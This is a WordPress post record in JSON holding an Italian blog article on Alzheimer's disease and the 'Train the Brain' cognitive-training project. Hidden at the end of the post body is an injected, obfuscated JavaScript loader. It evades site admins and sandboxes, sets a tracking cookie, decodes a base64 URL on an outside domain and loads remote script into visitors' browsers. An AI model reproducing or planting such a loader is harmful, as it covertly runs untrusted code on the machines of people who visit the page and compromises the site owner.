{"id":28121,"date":"2022-10-25T10:19:17","date_gmt":"2022-10-25T10:19:17","guid":{"rendered":"https:\/\/www.dimariamalasanita.it\/?p=28121"},"modified":"2026-04-15T05:21:34","modified_gmt":"2026-04-15T05:21:34","slug":"alzheimer-cosa-ce-da-sapere-e-il-nuovo-progetto-allena-il-cervello","status":"publish","type":"post","link":"https:\/\/www.dimariamalasanita.it\/?p=28121","title":{"rendered":"Alzheimer: cosa c&#8217;\u00e8 da sapere e il nuovo progetto &#8220;Allena il cervello&#8221;"},"content":{"rendered":"<p>Alzheimer: cosa c&#8217;\u00e8 da sapere e il nuovo progetto &#8220;Allena il cervello&#8221;<\/p>\n<p>Il morbo di Alzheimer \u00e8 una malattia che, lentamente, stravolge l\u2019esistenza della persona colpita e di tutto il suo entourage familiare.<br \/>\nSi tratta di una patologia del cervello che distrugge i neuroni del sistema cerebrale ed arriva, con il tempo, ad interrompere le sinapsi, minando cos\u00ec i collegamenti tra i neuroni.<br \/>\nIl cervello, nella prima fase dell\u2019insorgenza della problematica, reagisce cercando di attivare i neuroni superstiti che cos\u00ec faranno un doppio lavoro per sopperire alla mancanza di quelli danneggiati.<br \/>\nTuttavia, man mano che la malattia progredisce i danni diventano sempre pi\u00f9 irreversibili.<br \/>\nQuesta patologia agisce in silenzio, per circa 15-20 anni, distruggendo i neuroni pian piano fino a quando quelli rimasti saranno cos\u00ec pochi da non riuscire pi\u00f9 a compensare il mancato lavoro di quelli danneggiati e quindi la malattia inizier\u00e0 a mostrare i primi sintomi, ma in realt\u00e0 da quando compariranno i segnali sar\u00e0 troppo tardi perch\u00e9 proprio allora il morbo di Alzheimer si trover\u00e0 gi\u00e0 in uno stato avanzato.<br \/>\nProprio per cercare di arginare questa problematica che colpisce sempre pi\u00f9 soggetti, occorrerebbe lavorare sulla prevenzione per individuare prima la malattia in modo da provare a rallentare la sua quasi inevitabile progressione.<br \/>\nUn protocollo ideato dal prof. Maffei in collaborazione con l\u2019Istituto di Neuroscienze del Consiglio Nazionale delle Ricerche, meglio noto come Train the Brain, si pone l\u2019obiettivo di contrastare l\u2019inizio della malattia tramite esercizi di intelligenza, di creativit\u00e0 e memoria.<br \/>\nQuesto progetto \u201cTrain the Brain\u201d \u2013 Allena il cervello &#8211; non \u00e8 invasivo e soprattutto non prevede l\u2019uso di farmaci perch\u00e9 basato sulla plasticit\u00e0 del cervello umano, sulla stimolazione della capacit\u00e0 dei circuiti neuronali e delle sinapsi di adattarsi agli stimoli e ai cambiamenti determinati dall\u2019invecchiamento.<br \/>\nIl progetto prevede la stimolazione del cervello e una maggior circolazione del sangue per favorirne l\u2019afflusso al cervello tramite l\u2019esecuzione di attivit\u00e0 fisiche, razionali e logiche.<br \/>\nIl cervello in ogni caso \u00e8 un organo come tutti gli altri e quindi con l\u2019avanzare dell\u2019et\u00e0 \u00e8 importante allenarlo per mantenere attiva la mente e rallentare cos\u00ec la perdita cognitiva.<br \/>\nL\u2019Alzheimer \u00e8 una patologia che colpisce solitamente persone con et\u00e0 superiore a 65 anni e i numeri dei soggetti sofferenti sono in continua progressione e anche se di fatto allo stato attuale non \u00e8 possibile fermare la sua progressione, tuttavia possiamo augurarci di trovare nuovi modi per curare la malattia, per ritardare la sua insorgenza e per impedirle di svilupparsi.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Dott. Luigi Pin\u00f2<\/strong><\/p>\n<hr>\n<ul>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/flash-news\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione flash news<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/blog\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione blog<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/contatti\/\" target=\"_blank\" rel=\"noopener\">Contattaci per avere pi\u00f9 info<\/a><\/li>\n<\/ul>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Alzheimer: cosa c&#8217;\u00e8 da sapere e il nuovo progetto &#8220;Allena il cervello&#8221; Il morbo di Alzheimer \u00e8 una malattia che, lentamente, stravolge l\u2019esistenza della persona colpita e di tutto il suo entourage familiare. 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